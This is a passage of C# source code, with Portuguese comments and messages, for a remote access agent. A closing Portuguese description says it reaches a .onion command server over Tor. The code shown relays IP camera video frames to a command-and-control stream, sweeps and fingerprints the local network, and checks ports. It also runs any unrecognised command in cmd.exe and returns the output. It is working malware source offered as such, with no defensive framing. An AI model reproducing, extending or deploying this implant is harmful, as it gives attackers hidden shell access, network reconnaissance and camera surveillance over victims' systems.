byte[] boundaryBytes = Encoding.UTF8.GetBytes("--" + boundary);
using (var streamCamera = await camResponse.Content.ReadAsStreamAsync())
{
while (!token.IsCancellationRequested)
{
try
{
byte[] frameData = await ReadNextFrameAsync(streamCamera, boundaryBytes, token);
if (frameData.Length > 0)
{
await EnviarPayload(c2Stream, 0x02, frameData);
}
else
{
await Task.Delay(100, token);
}
}
catch (OperationCanceledException) { break; }
catch (Exception) { break; }
}
}
}
private async Task<byte[]> ReadNextFrameAsync(Stream stream, byte[] boundaryBytes, CancellationToken token)
{
using (var memoryStream = new MemoryStream())
{
int contentLength = 0;
string line;
while (!string.IsNullOrEmpty(line = await ReadLineAsync(stream, token)) && !line.Contains(Encoding.UTF8.GetString(boundaryBytes))) { }
while (!string.IsNullOrEmpty(line = await ReadLineAsync(stream, token)))
{
if (line.StartsWith("Content-Length:", StringComparison.OrdinalIgnoreCase))
{
int.TryParse(line.Substring("Content-Length:".Length).Trim(), out contentLength);
}
}
if (contentLength > 0)
{
var buffer = new byte[contentLength];
int totalRead = 0;
while (totalRead < contentLength)
{
int read = await stream.ReadAsync(buffer, totalRead, contentLength - totalRead, token);
if (read == 0) throw new EndOfStreamException("Stream da câmera fechado inesperadamente.");
totalRead += read;
}
return buffer;
}
return new byte[0];
}
}
private async Task<string> ReadLineAsync(Stream stream, CancellationToken token)
{
var sb = new StringBuilder();
while (true)
{
int b = stream.ReadByte();
if (b == -1) break;
token.ThrowIfCancellationRequested();
char c = (char)b;
if (c == '\n') break;
if (c != '\r') sb.Append(c);
}
return sb.ToString();
}
private async Task EscanearRedeLocal(NetworkStream stream)
{
await EnviarMensagem(stream, 0x01, "[+] Iniciando escaneamento avançado da rede local...");
var sb = new StringBuilder();
sb.AppendLine("--- Dispositivos Encontrados na Rede ---");
try
{
var tasks = new List<Task>();
foreach (var ni in NetworkInterface.GetAllNetworkInterfaces())
{
if (ni.OperationalStatus == OperationalStatus.Up && ni.NetworkInterfaceType != NetworkInterfaceType.Loopback)
{
foreach (var ipInfo in ni.GetIPProperties().UnicastAddresses)
{
if (ipInfo.Address.AddressFamily == AddressFamily.InterNetwork)
{
tasks.Add(EscanearSubRede(ipInfo, stream, sb));
}
}
}
}
await Task.WhenAll(tasks);
}
catch (Exception ex)
{
sb.AppendLine($"[!] Erro durante o escaneamento: {ex.Message}");
}
sb.AppendLine("--- Fim do Escaneamento ---");
await EnviarMensagem(stream, 0x01, sb.ToString());
}
private async Task EscanearSubRede(UnicastIPAddressInformation ipInfo, NetworkStream stream, StringBuilder mainSb)
{
await EnviarMensagem(stream, 0x01, $"[+] Escaneando sub-rede de {ipInfo.Address}...");
var ip = ipInfo.Address;
var mask = ipInfo.IPv4Mask;
var ipBytes = ip.GetAddressBytes();
var maskBytes = mask.GetAddressBytes();
var startIpBytes = new byte[4];
var endIpBytes = new byte[4];
for (int i = 0; i < 4; i++)
{
startIpBytes[i] = (byte)(ipBytes[i] & maskBytes[i]);
endIpBytes[i] = (byte)(ipBytes[i] | ~maskBytes[i]);
}
var pingTasks = new List<Task>();
for (uint i = BitConverter.ToUInt32(startIpBytes.Reverse().ToArray(), 0) + 1; i < BitConverter.ToUInt32(endIpBytes.Reverse().ToArray(), 0); i++)
{
var targetIp = new IPAddress(BitConverter.GetBytes(i).Reverse().ToArray());
pingTasks.Add(new Ping().SendPingAsync(targetIp, 1000));
}
await Task.WhenAll(pingTasks);
await Task.Delay(3000);
string saidaArp = ExecutarComandoLocal("arp", "-a");
var macVendors = new Dictionary<string, string> {
{"00:0C:29", "VMware"}, {"00:50:56", "VMware"}, {"00:05:69", "VMware"},
{"00:11:3B", "Micronet"},
{"E0:9D:13", "Samsung"}, {"F8:E4:FB", "Samsung"}, {"BC:D1:77", "Samsung"},
{"1C:86:0B", "Guangdong Taiying"},
{"7C:16:89", "Sagemcom"},
{"3A:B8:AE", "Locally Administered"}, {"32:01:12", "Locally Administered"},
{"FF:FF:FF", "Broadcast"},
{"B8:27:EB", "Raspberry Pi"}, {"DC:A6:32", "Raspberry Pi"},
{"C4:B3:01", "TP-LINK"}, {"90:F6:52", "TP-LINK"},
{"00:0F:34", "Cisco"}, {"CC:46:D6", "Cisco"},
{"A8:5B:78", "Apple"}, {"F0:B4:D5", "Apple"},
{"08:00:27", "VirtualBox"},
{"FC:FB:FB", "Google"}, {"3C:5A:B4", "Google (Amazon)"},
{"FC:C2:DE", "Xiaomi"},
{"D8:BB:2C", "Huawei"},
{"40:4E:36", "LG Electronics"},
{"AC:CF:85", "Intel"},
{"18:68:CB", "Sony Mobile"},
{"00:1E:8C", "Motorola"},
{"00:21:E8", "Nokia"},
{"70:88:6B", "ASUSTek"},
{"18:31:BF", "Dell"},
{"00:23:AE", "Foxconn"}
};
foreach(var linha in saidaArp.Split(new[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries))
{
var partes = linha.Trim().Split(new[] { ' ' }, StringSplitOptions.RemoveEmptyEntries);
if (partes.Length >= 2 && IPAddress.TryParse(partes[0], out IPAddress devIpAddr))
{
if (devIpAddr.AddressFamily != AddressFamily.InterNetwork || devIpAddr.Equals(IPAddress.Broadcast) || (devIpAddr.GetAddressBytes()[0] >= 224))
{
continue;
}
string devIp = partes[0].Trim();
string devMac = partes[1].Trim().ToUpper().Replace('-',':');
string macPrefix = devMac.Length > 8 ? devMac.Substring(0, 8) : "";
string vendor = macVendors.ContainsKey(macPrefix) ? macVendors[macPrefix] : "Desconhecido";
lock(mainSb)
{
if(!mainSb.ToString().Contains(devIp))
{
mainSb.AppendLine($"IP: {devIp.PadRight(15)} MAC: {devMac.PadRight(18)} Fabricante: {vendor}");
}
}
}
}
}
private async Task VerificarPorta(string alvo, NetworkStream stream)
{
string[] partes = alvo.Split(':');
if (partes.Length != 2 || !IPAddress.TryParse(partes[0], out _) || !int.TryParse(partes[1], out int porta))
{
await EnviarMensagem(stream, 0x01, $"[!] Formato inválido. Use: IP:Porta. Recebido: {alvo}");
return;
}
string ip = partes[0];
await EnviarMensagem(stream, 0x01, $"[+] Verificando {ip}:{porta}...");
try
{
using (var clientePorta = new TcpClient())
{
var task = clientePorta.ConnectAsync(ip, porta);
if (await Task.WhenAny(task, Task.Delay(2000)) == task && !task.IsFaulted)
{
await EnviarMensagem(stream, 0x01, $"[+] Resultado: A porta {porta} em {ip} está ABERTA.");
}
else
{
await EnviarMensagem(stream, 0x01, $"[-] Resultado: A porta {porta} em {ip} está FECHADA ou sem resposta.");
}
}
}
catch (Exception)
{
await EnviarMensagem(stream, 0x01, $"[-] Resultado: A porta {porta} em {ip} está FECHADA ou sem resposta.");
}
}
private void EnviarAjuda(NetworkStream stream)
{
var sb = new StringBuilder();
sb.AppendLine("--- Menu de Ajuda ---");
sb.AppendLine("netcattest -h -> Mostra este menu de ajuda.");
sb.AppendLine("netcattest:<URL> -> Inicia navegação remota para a URL (ex: http://google.com).");
sb.AppendLine("netcattestscan -> Escaneia a rede local em busca de dispositivos.");
sb.AppendLine("netcattestportscan:<IP>:<PORTA> -> Verifica se uma porta específica está aberta (ex: 192.168.1.1:80).");
sb.AppendLine("netcattestcamera:<USU>:<SEN>:<IP>[:/PTH] -> Conecta a um stream de câmera (PTH é opcional).");
sb.AppendLine("fecharpagina -> Encerra a sessão de navegação ou câmera.");
sb.AppendLine("Qualquer outro comando -> Executa diretamente no shell (cmd.exe).");
sb.AppendLine("---------------------");
EnviarMensagem(stream, 0x01, sb.ToString()).Wait();
}
private string ExecutarComandoLocal(string nomeArquivo, string argumentos)
{
try
{
var infoProcesso = new ProcessStartInfo(nomeArquivo, argumentos)
{
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true,
StandardOutputEncoding = Encoding.GetEncoding(850),
StandardErrorEncoding = Encoding.GetEncoding(850)
};
using (var processo = Process.Start(infoProcesso))
{
string saida = processo.StandardOutput.ReadToEnd();
string erro = processo.StandardError.ReadToEnd();
processo.WaitForExit(10000);
return saida + erro;
}
}
catch (Exception ex)
{
return $"Falha ao executar comando local: {ex.Message}";
}
}
private void ExecutarComandoShell(string comando, NetworkStream stream)
{
string saidaComando = ExecutarComandoLocal("cmd.exe", "/c " + comando);
if (string.IsNullOrWhiteSpace(saidaComando))
{
saidaComando = "Comando executado sem saída ou com erro.";
}
EnviarMensagem(stream, 0x01, saidaComando.Trim()).Wait();
}
public static void Main(string[] args)
{
Encoding.RegisterProvider(CodePagesEncodingProvider.Instance);
new Agente().ExecutarCiclo();
}
}
|
Este código, escrito em C#, implementa um agente de acesso remoto que se conecta a um servidor na rede Tor por meio de um proxy SOCKS5 (127.0.0.1:9050
). Ele estabelece uma sessão persistente com um servidor .onion
, recebendo comandos para execução remota como interação com navegador (via PuppeteerSharp), execução de comandos de shell, escaneamento de rede, verificação de portas e até captura de vídeo em tempo real de câmeras IP via MJPEG. A comunicação é estruturada com um protocolo binário simples (cabeçalho + payload) e suporta controle assíncrono e multiplexado de tarefas, com uso extensivo de async/await
, CancellationToken
, e sockets TCP.